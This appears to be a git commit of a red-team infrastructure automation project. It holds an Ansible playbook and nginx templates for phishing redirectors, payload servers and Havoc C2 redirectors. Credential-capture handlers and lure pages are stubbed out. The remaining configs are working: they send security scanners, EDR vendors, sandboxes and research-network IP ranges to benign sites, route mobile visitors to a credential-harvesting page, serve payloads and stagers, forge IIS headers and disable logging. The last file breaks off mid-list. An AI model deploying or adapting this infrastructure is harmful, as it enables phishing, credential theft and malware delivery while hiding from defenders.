Initial public portfolio release

Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
2026-06-23 16:12:14 -04:00
commit 98103466d8
239 changed files with 40012 additions and 0 deletions
@@ -0,0 +1,9 @@
+<?php
+// OMITTED — credential capture handler
+//
+// PHP script deployed to phishing redirector. Receives POST data from the
+// cloned login form, logs credentials with timestamp and source IP to an
+// encrypted local file, then transparently forwards the victim to the
+// legitimate site to avoid suspicion.
+//
+// Omitted from public release. Present in operational deployments.
@@ -0,0 +1,157 @@
+---
+# Configure phishing redirector with advanced evasion techniques
+
+- name: Install packages for phishing redirector
+  apt:
+    name:
+      - nginx
+      - nginx-extras
+      - certbot
+      - python3-certbot-nginx
+      - socat
+      - netcat-openbsd
+      - jq
+      - curl
+      - geoip-database
+      - libgeoip1
+      - php-fpm
+      - php-geoip
+    state: present
+
+- name: Configure advanced nginx for phishing redirector
+  template:
+    src: "../templates/phishing/nginx-phishing-redirector.j2"
+    dest: /etc/nginx/sites-available/phishing-redirector
+    mode: '0644'
+  notify: restart nginx
+
+- name: Enable phishing redirector site
+  file:
+    src: /etc/nginx/sites-available/phishing-redirector
+    dest: /etc/nginx/sites-enabled/phishing-redirector
+    state: link
+  notify: restart nginx
+
+- name: Remove default nginx site
+  file:
+    path: /etc/nginx/sites-enabled/default
+    state: absent
+  notify: restart nginx
+
+- name: Create legitimate website content
+  template:
+    src: "../templates/phishing/legitimate-website.html.j2"
+    dest: /var/www/html/index.html
+    mode: '0644'
+
+- name: Create robots.txt for SEO legitimacy
+  copy:
+    dest: /var/www/html/robots.txt
+    content: |
+      User-agent: *
+      Allow: /
+      Sitemap: https://{{ phishing_subdomain }}.{{ phishing_domain }}/sitemap.xml
+
+- name: Create sitemap for legitimacy
+  template:
+    src: "../templates/phishing/sitemap.xml.j2"
+    dest: /var/www/html/sitemap.xml
+    mode: '0644'
+
+- name: Install MaxMind GeoIP for location-based filtering
+  get_url:
+    url: "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key={{ maxmind_license_key | default('') }}&suffix=tar.gz"
+    dest: /tmp/geoip.tar.gz
+  when: maxmind_license_key is defined
+  ignore_errors: yes
+
+- name: Create security research filtering script
+  template:
+    src: "../templates/phishing/security-filter.lua.j2"
+    dest: /etc/nginx/security-filter.lua
+    mode: '0644'
+
+- name: Configure nginx stream module for advanced traffic analysis
+  template:
+    src: "../templates/phishing/stream-analysis.conf.j2"
+    dest: /etc/nginx/modules-enabled/stream-analysis.conf
+    mode: '0644'
+
+- name: Create phishing campaign analytics
+  template:
+    src: "../templates/phishing/analytics.js.j2"
+    dest: /var/www/html/analytics.js
+    mode: '0644'
+
+- name: Set up legitimate SSL certificate
+  shell: |
+    certbot --nginx -d {{ phishing_subdomain }}.{{ phishing_domain }} \
+    --non-interactive --agree-tos -m {{ letsencrypt_email }}
+  args:
+    creates: /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ phishing_domain }}/fullchain.pem
+  ignore_errors: yes
+
+- name: Create fail2ban configuration for suspicious activity
+  copy:
+    dest: /etc/fail2ban/jail.d/phishing-protection.conf
+    content: |
+      [phishing-scanner-protection]
+      enabled = true
+      port = 80,443
+      filter = phishing-scanner
+      logpath = /var/log/nginx/access.log
+      maxretry = 3
+      bantime = 3600
+      findtime = 300
+
+- name: Create fail2ban filter for security tools
+  copy:
+    dest: /etc/fail2ban/filter.d/phishing-scanner.conf
+    content: |
+      [Definition]
+      failregex = ^<HOST>.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*"
+                  ^<HOST>.*".*User-Agent.*(scanner|bot|crawl|security|test).*"
+                  ^<HOST>.*"(GET|POST).*\.(php|asp|jsp)\?.*"
+      ignoreregex =
+
+- name: Start and enable fail2ban
+  systemd:
+    name: fail2ban
+    state: started
+    enabled: yes
+
+- name: Create traffic monitoring script
+  template:
+    src: "../templates/phishing/traffic-monitor.sh.j2"
+    dest: /root/Tools/traffic-monitor.sh
+    mode: '0755'
+
+- name: Set up traffic monitoring cron
+  cron:
+    name: "Monitor phishing traffic"
+    minute: "*/5"
+    job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1"
+
+- name: Configure rate limiting for suspicious patterns
+  blockinfile:
+    path: /etc/nginx/nginx.conf
+    insertbefore: "http {"
+    block: |
+      # Rate limiting zones
+      limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
+      limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
+      
+      # GeoIP configuration
+      geoip_country /usr/share/GeoIP/GeoIP.dat;
+      map $geoip_country_code $allowed_country {
+          default 1;
+          CN 0;
+          RU 0;
+          KP 0;
+      }
+
+handlers:
+  - name: restart nginx
+    service:
+      name: nginx
+      state: restarted
@@ -0,0 +1,9 @@
+{# OMITTED — phishing login page template #}
+{#
+   Jinja2 template for a cloned login page. Target organization branding,
+   logo, and color scheme are substituted at deploy time. Form POSTs to
+   capture.php on the same server. Includes viewport/mobile meta tags for
+   mobile phishing scenarios.
+
+   Omitted from public release. Present in operational deployments.
+#}
@@ -0,0 +1,23 @@
+================================================================
+C2itall Redirector Post-Installation Instructions
+================================================================
+
+To complete your setup with SSL certificates, run:
+  /root/Tools/post_install_redirector.sh
+
+This script will guide you through:
+- Setting up Let's Encrypt certificates
+- Starting required services
+- Updating NGINX configuration
+
+For enhanced OPSEC, you can also randomize ports:
+  /root/Tools/randomize_ports.sh
+
+Run these after you've configured your DNS records to point to this server.
+
+================================================================
+Deployment ID: {{ deployment_id | default('N/A') }}
+Domain: {{ domain | default('N/A') }}
+Infrastructure Type: Redirector
+Provider: {{ provider | default('N/A') }}
+================================================================
@@ -0,0 +1,82 @@
+# Payload Redirector Configuration
+# Serves payloads with anti-analysis features
+
+server {
+    listen 80;
+    listen [::]:80;
+    server_name {{ payload_subdomain }}.{{ domain }};
+    
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl http2;
+    listen [::]:443 ssl http2;
+    server_name {{ payload_subdomain }}.{{ domain }};
+    
+    # SSL Configuration
+    ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    
+    root /var/www/payloads;
+    
+    # Anti-analysis headers
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header X-Download-Options "noopen" always;
+    add_header X-Robots-Tag "noindex, nofollow" always;
+    
+    # Serve different content based on user agent
+    location ~ ^/download/(.+)$ {
+        # Check if request is from analysis environment
+        if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
+            # Serve benign file
+            rewrite ^/download/(.+)$ /benign/document.pdf last;
+        }
+        
+        # Check for valid download token
+        secure_link $arg_token,$arg_expires;
+        secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
+        
+        if ($secure_link = "") {
+            return 403;
+        }
+        
+        if ($secure_link = "0") {
+            return 410;
+        }
+        
+        # Serve actual payload
+        try_files /payloads/$1 =404;
+    }
+    
+    # Direct file access with referrer check
+    location /files/ {
+        valid_referers none blocked server_names
+            *.{{ domain }}
+            {{ allowed_referrers | default([]) | join(' ') }};
+        
+        if ($invalid_referer) {
+            return 403;
+        }
+        
+        alias /var/www/payloads/;
+        autoindex off;
+    }
+    
+    # Benign files for analysis environments
+    location /benign/ {
+        alias /var/www/payloads/benign/;
+        autoindex off;
+    }
+    
+    # Block all other access
+    location / {
+        return 404;
+    }
+    
+    {% if zero_logs | default(true) %}
+    access_log off;
+    error_log /dev/null crit;
+    {% endif %}
+}
@@ -0,0 +1,104 @@
+# Phishing Redirector Configuration
+# Advanced evasion and filtering
+
+# Security tool detection
+map $http_user_agent $is_security_scanner {
+    default 0;
+    ~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
+}
+
+# Geo-filtering map
+map $geoip_country_code $allowed_country {
+    default 1;
+    {% for country in blocked_countries | default([]) %}
+    {{ country }} 0;
+    {% endfor %}
+}
+
+server {
+    listen 80;
+    listen [::]:80;
+    server_name {{ phishing_subdomain }}.{{ domain }};
+    
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl http2;
+    listen [::]:443 ssl http2;
+    server_name {{ phishing_subdomain }}.{{ domain }};
+    
+    # SSL Configuration
+    ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_ciphers HIGH:!aNULL:!MD5;
+    ssl_prefer_server_ciphers on;
+    
+    # Security headers to appear legitimate
+    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header X-Frame-Options "SAMEORIGIN" always;
+    add_header X-XSS-Protection "1; mode=block" always;
+    add_header Referrer-Policy "no-referrer-when-downgrade" always;
+    
+    # Block security scanners
+    if ($is_security_scanner) {
+        return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
+    }
+    
+    # Geo-blocking
+    if ($allowed_country = 0) {
+        return 403;
+    }
+    
+    # Rate limiting
+    limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
+    limit_req zone=phishing burst=20 nodelay;
+    
+    # GoPhish tracking and landing pages
+    location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
+        proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
+        proxy_set_header Host $host;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+    }
+    
+    # Phishing landing pages
+    location / {
+        proxy_pass http://{{ phishing_web_ip }}:80;
+        proxy_set_header Host $host;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+    }
+    
+    # Block direct access to sensitive paths
+    location ~ /\.(git|env|htaccess|htpasswd) {
+        deny all;
+        return 404;
+    }
+    
+    {% if zero_logs | default(true) %}
+    # Zero-logs configuration
+    access_log off;
+    error_log /dev/null crit;
+    {% endif %}
+}
+
+# Catch-all server block
+server {
+    listen 80 default_server;
+    listen [::]:80 default_server;
+    listen 443 ssl default_server;
+    listen [::]:443 ssl default_server;
+    
+    ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
+    ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
+    
+    return 302 https://www.{{ legitimate_redirect | default('google.com') }};
+    
+    access_log off;
+    error_log /dev/null crit;
+}
@@ -0,0 +1,58 @@
+user www-data;
+worker_processes auto;
+pid /run/nginx.pid;
+include /etc/nginx/modules-enabled/*.conf;
+
+events {
+    worker_connections 1024;
+    multi_accept on;
+}
+
+http {
+    # Basic Settings
+    sendfile on;
+    tcp_nopush on;
+    tcp_nodelay on;
+    keepalive_timeout 65;
+    types_hash_max_size 2048;
+    server_tokens off;
+
+    # MIME
+    include /etc/nginx/mime.types;
+    default_type application/octet-stream;
+
+    # Zero-logs configuration
+    # This completely disables all access logs
+    access_log off;
+    # Minimal error logs - critical only
+    error_log /dev/null crit;
+
+    # SSL Settings
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
+    ssl_session_timeout 1d;
+    ssl_session_cache shared:SSL:10m;
+    ssl_session_tickets off;
+    
+    # Headers to confuse fingerprinting
+    # Microsoft-IIS/8.5 server header to throw off analysis
+    add_header Server "Microsoft-IIS/8.5";
+    server_name_in_redirect off;
+
+    # OPSEC: Hide proxy headers
+    proxy_hide_header X-Powered-By;
+    proxy_hide_header X-AspNet-Version;
+    proxy_hide_header X-Runtime;
+    
+    # IP Rotation and proxying
+    real_ip_header X-Forwarded-For;
+    set_real_ip_from 127.0.0.1;
+    
+    # Gzip Settings
+    gzip off;  # Disabled to avoid BREACH attack
+    
+    # Virtual Host Configs
+    include /etc/nginx/conf.d/*.conf;
+    include /etc/nginx/sites-enabled/*;
+}
@@ -0,0 +1,105 @@
+server {
+    listen 80;
+    listen [::]:80;
+    server_name {{ redirector_domain }};
+    
+    # Redirect to HTTPS
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    server_name {{ redirector_domain }};
+    
+    # SSL Configuration
+    ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
+    ssl_session_timeout 1d;
+    ssl_session_cache shared:SSL:10m;
+    
+    # Root directory
+    root /var/www/html;
+    index index.html;
+    
+    # Primary location for legitimate website traffic
+    location / {
+        try_files $uri $uri/ =404;
+    }
+    
+    # Havoc C2 HTTP listener paths
+    location ~ ^/api/v[12]/ {
+        proxy_pass http://{{ c2_ip }}:8080;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+    }
+    
+    # Havoc C2 HTTPS listener paths
+    location ~ ^/(dashboard|content)/ {
+        proxy_pass https://{{ c2_ip }}:9443;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+        proxy_ssl_verify off;
+    }
+    
+    # Payload stager paths
+    location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+        proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+
+    # Payload content paths
+    location ~ ^/content/(windows|linux)/(.+)$ {
+        proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+    
+    # Security headers
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header X-Frame-Options "SAMEORIGIN" always;
+    add_header X-XSS-Protection "1; mode=block" always;
+    add_header Referrer-Policy "no-referrer" always;
+    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+    
+    # Disable logging for this server block if zero-logs is enabled
+    {% if zero_logs | default(true) | bool %}
+    access_log off;
+    error_log /dev/null crit;
+    {% endif %}
+}
+
+# Catch-all server block to respond to unknown hosts
+server {
+    listen 80 default_server;
+    listen [::]:80 default_server;
+    listen 443 ssl default_server;
+    listen [::]:443 ssl default_server;
+    
+    # Self-signed cert for catch-all
+    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
+    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+    
+    # Redirect all unknown traffic to a legitimate-looking site
+    return 301 https://www.google.com;
+    
+    # Disable logs
+    access_log off;
+    error_log /dev/null crit;
+}
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>CDN - Content Delivery Network</title>
+    <style>
+        body {
+            font-family: Arial, sans-serif;
+            margin: 0;
+            padding: 0;
+            background-color: #f4f4f4;
+            color: #333;
+        }
+        header {
+            background-color: #2c3e50;
+            color: white;
+            padding: 1em;
+            text-align: center;
+        }
+        .container {
+            width: 80%;
+            margin: 0 auto;
+            padding: 2em;
+        }
+        .card {
+            background-color: white;
+            border-radius: 5px;
+            padding: 1.5em;
+            margin-bottom: 1.5em;
+            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
+        }
+        footer {
+            background-color: #2c3e50;
+            color: white;
+            text-align: center;
+            padding: 1em;
+            position: fixed;
+            bottom: 0;
+            width: 100%;
+        }
+    </style>
+</head>
+<body>
+    <header>
+        <h1>cdn.{{ domain }}</h1>
+        <p>Enterprise Content Delivery Network</p>
+    </header>
+    
+    <div class="container">
+        <div class="card">
+            <h2>Welcome to Our CDN</h2>
+            <p>This server is part of our global content delivery network.</p>
+        </div>
+    </div>
+    
+    <footer>
+        <p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
+    </footer>
+</body>
+</html>
@@ -0,0 +1,310 @@
+# Advanced Redirector Configuration with IR Evasion
+# templates/redirector-site.conf.j2
+
+# Detect security tools by user agent
+map $http_user_agent $is_security_tool {
+    default 0;
+    # Common security tools, scanners, and IR user agents
+    ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
+}
+
+# Improved mobile detection regex
+map $http_user_agent $is_mobile {
+    default 0;
+    ~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
+}
+
+map $remote_addr $is_known_security_ip {
+    default 0;
+    
+    # VirusTotal
+    "64.71.0.0/16" 1;
+    "74.125.0.0/16" 1;      # Google Cloud (VirusTotal)
+    "216.239.32.0/19" 1;    # Google
+    
+    # Recorded Future
+    "104.196.0.0/14" 1;     # Google Cloud
+    "35.184.0.0/13" 1;      # Google Cloud
+    
+    # Censys
+    "198.108.66.0/23" 1;
+    "162.142.125.0/24" 1;
+    "167.248.133.0/24" 1;
+    
+    # Shodan
+    "66.240.192.0/18" 1;
+    "71.6.135.0/24" 1;
+    "71.6.167.0/24" 1;
+    "82.221.105.6/32" 1;
+    "82.221.105.7/32" 1;
+    "93.120.27.0/24" 1;
+    
+    # Symantec/Broadcom
+    "205.128.0.0/14" 1;
+    "65.165.0.0/16" 1;
+    
+    # McAfee/Trellix
+    "161.69.0.0/16" 1;
+    "192.225.158.0/24" 1;
+    
+    # CrowdStrike
+    "45.60.0.0/16" 1;
+    "199.66.200.0/24" 1;
+    
+    # SentinelOne
+    "104.36.227.0/24" 1;
+    "104.196.0.0/14" 1;
+    
+    # Microsoft Defender
+    "13.64.0.0/11" 1;      # Azure (Microsoft Defender)
+    "13.104.0.0/14" 1;     # Microsoft
+    "40.74.0.0/15" 1;      # Microsoft
+    "51.4.0.0/15" 1;       # Microsoft
+    "104.40.0.0/13" 1;     # Microsoft
+    "104.208.0.0/13" 1;    # Azure
+    
+    # Palo Alto
+    "96.88.0.0/16" 1;
+    "173.247.96.0/19" 1;
+    "216.115.73.0/24" 1;
+    
+    # Qualys
+    "64.39.96.0/20" 1;
+    "64.41.200.0/24" 1;
+    "92.118.160.0/24" 1;
+    
+    # Rapid7
+    "5.63.0.0/16" 1;
+    "38.107.201.0/24" 1;
+    "45.60.0.0/16" 1;
+    "71.6.0.0/16" 1;
+    "206.225.0.0/16" 1;
+    
+    # Tenable/Nessus
+    "23.20.0.0/14" 1;      # AWS (Tenable Cloud)
+    "34.192.0.0/12" 1;     # AWS
+    "54.144.0.0/12" 1;     # AWS
+    "162.219.56.0/21" 1;
+    "172.104.0.0/16" 1;    # Linode (common Nessus hosting)
+    
+    # FireEye/Mandiant
+    "23.98.64.0/18" 1;
+    "66.114.168.0/22" 1;
+    "96.43.144.0/20" 1;
+    "173.231.184.0/22" 1;
+    
+    # Akamai
+    "23.0.0.0/12" 1;
+    "23.32.0.0/11" 1;
+    "104.64.0.0/10" 1;
+    
+    # Cloudflare
+    "104.16.0.0/12" 1;
+    "173.245.48.0/20" 1;
+    
+    # Academic Research Networks
+    "128.32.0.0/16" 1;     # UC Berkeley
+    "128.59.0.0/16" 1;     # Columbia University
+    "128.112.0.0/16" 1;    # Princeton University
+    "128.138.0.0/16" 1;    # University of Colorado
+    "128.197.0.0/16" 1;    # Boston University
+    "146.186.0.0/16" 1;    # Carnegie Mellon
+}
+
+# HTTP to HTTPS redirect
+server {
+    listen 80;
+    listen [::]:80;
+    server_name {{ redirector_subdomain }}.{{ domain }};
+    
+    # Redirect to HTTPS
+    return 301 https://$host$request_uri;
+}
+
+# Main HTTPS server
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    server_name {{ redirector_subdomain }}.{{ domain }};
+    
+    # SSL Configuration
+    ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
+    ssl_session_timeout 1d;
+    ssl_session_cache shared:SSL:10m;
+    
+    # Root directory
+    root /var/www/html;
+    index index.html;
+    
+    # Advanced IR Evasion - IMPORTANT: Order matters!
+    
+    # 1. Direct mobile users to credential capture - placed first to ensure it takes priority
+    if ($is_mobile = 1) {
+        return 302 https://$host/login/auth.html;
+    }
+    
+    # 2. Redirect security tools to benign sites
+    if ($is_security_tool) {
+        return 302 https://www.google.com;
+    }
+    
+    # 3. Redirect known security IPs
+    if ($is_known_security_ip) {
+        return 302 https://www.microsoft.com;
+    }
+    
+    # 4. Add timing delay for suspicious connections
+    if ($http_referer ~* (security|scan)) {
+        set $delay_response 1;
+    }
+    
+    # Valid C2 beacon routing - CRITICAL PATHS
+    location ~ ^/api/beacon/ {
+        # Only valid beacons proceed to C2
+        proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_ssl_verify off;
+        
+        # Implement artificial delay for suspicious connections
+        if ($delay_response) {
+            limit_rate 1k;  # Slow down response
+        }
+    }
+    
+    # Secure stager delivery routes
+    location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+        # Only valid requests that passed the earlier checks
+        proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+    
+    # Content access for payload delivery
+    location ~ ^/content/(windows|linux)/(.+)$ {
+        # Specific valid content paths
+        proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+
+    # Redirect specific payload formats based on client OS
+    location ~ ^/download/payload$ {
+        if ($http_user_agent ~* windows) {
+            return 302 /content/windows/$win_exe;
+        }
+        if ($http_user_agent ~* linux) {
+            return 302 /content/linux/$linux_bin;
+        }
+        # Default fallback for unknown OS
+        return 302 /;
+    }
+
+    # Secure payload delivery path for synced payloads
+    location /resources/ {
+        alias /var/www/resources/;
+        limit_except GET { deny all; }
+        add_header X-Content-Type-Options "nosniff" always;
+        add_header Content-Security-Policy "default-src 'none'" always;
+        add_header X-Frame-Options "DENY" always;
+        add_header Server "Microsoft-IIS/10.0" always;
+        autoindex off;
+        access_log off;
+    }
+    
+    # Credential harvesting login page
+    location ~ ^/login/auth\.html$ {
+        root /var/www;
+        try_files $uri =404;
+        add_header X-Frame-Options "DENY" always;
+    }
+    
+    # Protect credential processing script
+    location ~ ^/login/process\.php$ {
+        # Allow POST only
+        limit_except POST { deny all; }
+        
+        # Process the PHP file
+        root /var/www;
+        include snippets/fastcgi-php.conf;
+        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+    }
+
+    # Block direct access to sensitive files
+    location ~ \.(enc|key|pem|log)$ {
+        deny all;
+        return 404;
+    }
+    
+    {% if setup_integrated_tracker | default(false) | bool %}
+    # Email tracker pixel only (not exposing dashboard)
+    location ~ ^/px/(.+)\.png$ {
+        proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
+        proxy_http_version 1.1;
+        proxy_set_header Host {{ tracker_domain }};
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-Proto https;
+        
+        # Cache control for tracking pixels
+        add_header Cache-Control "no-store, no-cache, must-revalidate" always;
+        expires -1;
+    }
+    {% endif %}
+    
+    # Primary location for legitimate website traffic
+    # This acts as a catch-all for non-matching URIs
+    location / {
+        # Check if this is potentially an attempt to access a non-existent payload
+        if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
+            # If invalid payload URI, redirect to real target
+            return 302 https://www.{{ domain }};
+        }
+        
+        # Otherwise serve legitimate content
+        try_files $uri $uri/ =404;
+    }
+
+    # Security headers
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header X-Frame-Options "SAMEORIGIN" always;
+    add_header X-XSS-Protection "1; mode=block" always;
+    add_header Referrer-Policy "no-referrer" always;
+    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+    
+    # Make server appear as IIS
+    add_header Server "Microsoft-IIS/10.0";
+    
+    # Disable logging
+    {% if zero_logs | default(true) | bool %}
+    access_log off;
+    error_log /dev/null crit;
+    {% endif %}
+}
+
+# Catch-all server block
+server {
+    listen 80 default_server;
+    listen [::]:80 default_server;
+    listen 443 ssl default_server;
+    listen [::]:443 ssl default_server;
+    
+    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
+    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+    
+    # Redirect unknown hosts to legitimate sites
+    return 301 https://www.google.com;
+    
+    access_log off;
+    error_log /dev/null crit;
+}
@@ -0,0 +1,298 @@
+# Advanced Redirector Configuration with IR Evasion
+# templates/redirector-site.conf.j2
+
+# Detect security tools by user agent
+map $http_user_agent $is_security_tool {
+    default 0;
+    # Common security tools, scanners, and IR user agents
+    ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
+}
+
+# Improved mobile detection regex
+map $http_user_agent $is_mobile {
+    default 0;
+    ~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
+}
+
+map $remote_addr $is_known_security_ip {
+    default 0;
+    
+    # VirusTotal
+    "64.71.0.0/16" 1;
+    "74.125.0.0/16" 1;      # Google Cloud (VirusTotal)
+    "216.239.32.0/19" 1;    # Google
+    
+    # Recorded Future & SentinelOne (merged - both use Google Cloud)
+    "104.196.0.0/14" 1;     # Google Cloud
+    "35.184.0.0/13" 1;      # Google Cloud
+    
+    # Censys
+    "198.108.66.0/23" 1;
+    "162.142.125.0/24" 1;
+    "167.248.133.0/24" 1;
+    
+    # Shodan
+    "66.240.192.0/18" 1;
+    "71.6.135.0/24" 1;
+    "71.6.167.0/24" 1;
+    "82.221.105.6/32" 1;
+    "82.221.105.7/32" 1;
+    "93.120.27.0/24" 1;
+    
+    # Symantec/Broadcom
+    "205.128.0.0/14" 1;
+    "65.165.0.0/16" 1;
+    
+    # McAfee/Trellix
+    "161.69.0.0/16" 1;
+    "192.225.158.0/24" 1;
+    
+    # CrowdStrike
+    "45.60.0.0/16" 1;
+    "199.66.200.0/24" 1;
+    
+    # SentinelOne
+    "104.36.227.0/24" 1;
+    # "104.196.0.0/14" 1;  # Removed duplicate - already defined for Recorded Future
+    
+    # Microsoft Defender
+    "13.64.0.0/11" 1;      # Azure (Microsoft Defender)
+    "13.104.0.0/14" 1;     # Microsoft
+    "40.74.0.0/15" 1;      # Microsoft
+    "51.4.0.0/15" 1;       # Microsoft
+    "104.40.0.0/13" 1;     # Microsoft
+    "104.208.0.0/13" 1;    # Azure
+    
+    # Palo Alto
+    "96.88.0.0/16" 1;
+    "173.247.96.0/19" 1;
